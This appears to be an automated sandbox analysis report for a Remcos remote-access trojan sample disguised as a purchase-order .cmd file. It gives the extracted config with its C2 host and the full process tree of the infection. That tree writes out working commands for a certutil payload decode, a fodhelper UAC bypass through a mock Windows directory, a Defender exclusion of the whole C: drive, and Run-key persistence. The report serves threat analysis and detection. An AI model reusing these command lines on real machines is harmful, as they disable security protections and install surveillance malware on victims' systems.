Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/06/2024, 01:47

General

  • Target
    PO-MISA-32493.cmd
  • Size 3.0MB
  • Sample240629-b7z3ms1eqk
  • SHA256 2280463cb95824decd3128ea25aecaf912c1e2d7c5d9371031e8f003015b8e11
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • AppleX

C2
  • severdops.ddns.net:7717

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-V9Y3X1

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 47 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 28 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO-MISA-32493.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3932
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:3484
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2160
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:5116
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PO-MISA-32493.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1400
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PO-MISA-32493.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9
            3⤵
            • Executes dropped EXE
            PID:1196
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3688
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12
            3⤵
            • Executes dropped EXE
            PID:2236
        • C:\Users\Public\Libraries\CLEAN.COM
          C:\Users\Public\Libraries\CLEAN.COM
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2820
          • C:\Users\Public\Libraries\rsruhrzW.pif
            C:\Users\Public\Libraries\rsruhrzW.pif
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1400
            • C:\Windows\system32\cmd.exe
              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D88.tmp\D89.tmp\D8A.bat C:\Users\Public\Libraries\rsruhrzW.pif"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:912
              • C:\Windows\System32\extrac32.exe
                C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
                5⤵
                  PID:1260
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
                  5⤵
                  • Executes dropped EXE
                  PID:5060
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
                  5⤵
                  • Executes dropped EXE
                  PID:5008
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1092
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                    6⤵
                      PID:1524
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:1356
                    • C:\Windows\system32\extrac32.exe
                      extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                      6⤵
                        PID:1680
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:5000
                      • C:\Windows\system32\extrac32.exe
                        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                        6⤵
                          PID:4112
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:3408
                        • C:\Users\Public\xkn.exe
                          C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                          6⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:3540
                          • C:\Users\Public\alpha.exe
                            "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                            7⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:4012
                            • C:\Users\Public\ger.exe
                              C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                              8⤵
                              • Executes dropped EXE
                              • Modifies registry class
                              PID:2560
                      • C:\Windows \System32\per.exe
                        "C:\\Windows \\System32\\per.exe"
                        5⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        PID:4684
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:1576
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettings.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4356
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                        5⤵
                        • Executes dropped EXE
                        PID:4948
                        • C:\Windows\system32\PING.EXE
                          ping 127.0.0.1 -n 2
                          6⤵
                          • Runs ping.exe
                          PID:3492
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                        5⤵
                        • Executes dropped EXE
                        PID:4600
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                        5⤵
                        • Executes dropped EXE
                        PID:2708
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                        5⤵
                        • Executes dropped EXE
                        PID:4112
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:4292
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:3796
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:2664
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:3408
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\CLEAN.COM C:\\Users\\Public\\Libraries\\Wzrhursr.PIF
                    3⤵
                      PID:1552
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:4500
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\CLEAN.GIF" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:2712
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4464,i,16856304285138459032,14480077487839828721,262144 --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:8
                  1⤵
                    PID:3152
                  • C:\Windows\system32\SystemSettingsAdminFlows.exe
                    "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                    1⤵
                      PID:4616

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          logs.dat

                          • Path C:\ProgramData\remcos\logs.dat
                          • Size 144B
                          • SHA256 fcf074d96189a82cc0d8710d3035a28b73b1030462c3afd8a1167250d904abe4
                          • MD5 SHA1 SHA512

                          D8A.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\D88.tmp\D89.tmp\D8A.bat
                          • Size 1KB
                          • SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
                          • MD5 SHA1 SHA512

                          __PSScriptPolicyTest_2323hb01.lqj.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2323hb01.lqj.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          CLEAN.GIF

                          • Path C:\Users\Public\CLEAN.GIF
                          • Size 2.2MB
                          • SHA256 d8f8d28dd601aca727b811838ef30df4cd29d531d554350876ed1a03d081e94d
                          • MD5 SHA1 SHA512 SSDEEP

                          CLEAN.COM

                          • Path C:\Users\Public\Libraries\CLEAN.COM
                          • Size 1.1MB
                          • SHA256 9eb4b8135288a8e071899246020352fe0afaa342bc5527cebd523f910fcc7c2d
                          • MD5 SHA1 SHA512 SSDEEP

                          rsruhrzW.pif

                          • Path C:\Users\Public\Libraries\rsruhrzW.pif
                          • Size 66KB
                          • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                          • MD5 SHA1 SHA512 SSDEEP

                          alpha.exe

                          • Path C:\Users\Public\alpha.exe
                          • Size 283KB
                          • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                          • MD5 SHA1 SHA512 SSDEEP

                          ger.exe

                          • Path C:\Users\Public\ger.exe
                          • Size 75KB
                          • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                          • MD5 SHA1 SHA512 SSDEEP

                          kn.exe

                          • Path C:\Users\Public\kn.exe
                          • Size 1.6MB
                          • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                          • MD5 SHA1 SHA512 SSDEEP

                          xkn.exe

                          • Path C:\Users\Public\xkn.exe
                          • Size 442KB
                          • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                          • MD5 SHA1 SHA512 SSDEEP

                          per.exe

                          • Path C:\Windows \System32\per.exe
                          • Size 48KB
                          • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                          • MD5 SHA1 SHA512 SSDEEP

                          memory/1400-32-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/1400-37-0x0000000000400000-0x000000000041A000-memory.dmp

                          memory/1400-36-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/1400-38-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/1400-108-0x0000000000400000-0x000000000041A000-memory.dmp

                          memory/1400-106-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/2820-126-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-140-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-95-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-94-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-109-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-112-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-113-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-114-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-116-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-117-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-119-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-121-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-122-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-123-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-125-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-174-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-128-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-28-0x0000000000400000-0x0000000000520000-memory.dmp

                          memory/2820-130-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-131-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-132-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-134-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-135-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-137-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-138-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-91-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-141-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-143-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-144-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-145-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-146-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-149-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-150-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-152-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-153-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-154-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-155-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-158-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-159-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-161-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-162-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-163-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-164-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-167-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-168-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-169-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-171-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/2820-172-0x0000000027AB0000-0x0000000028AB0000-memory.dmp

                          memory/3540-69-0x0000020CAD080000-0x0000020CAD0A2000-memory.dmp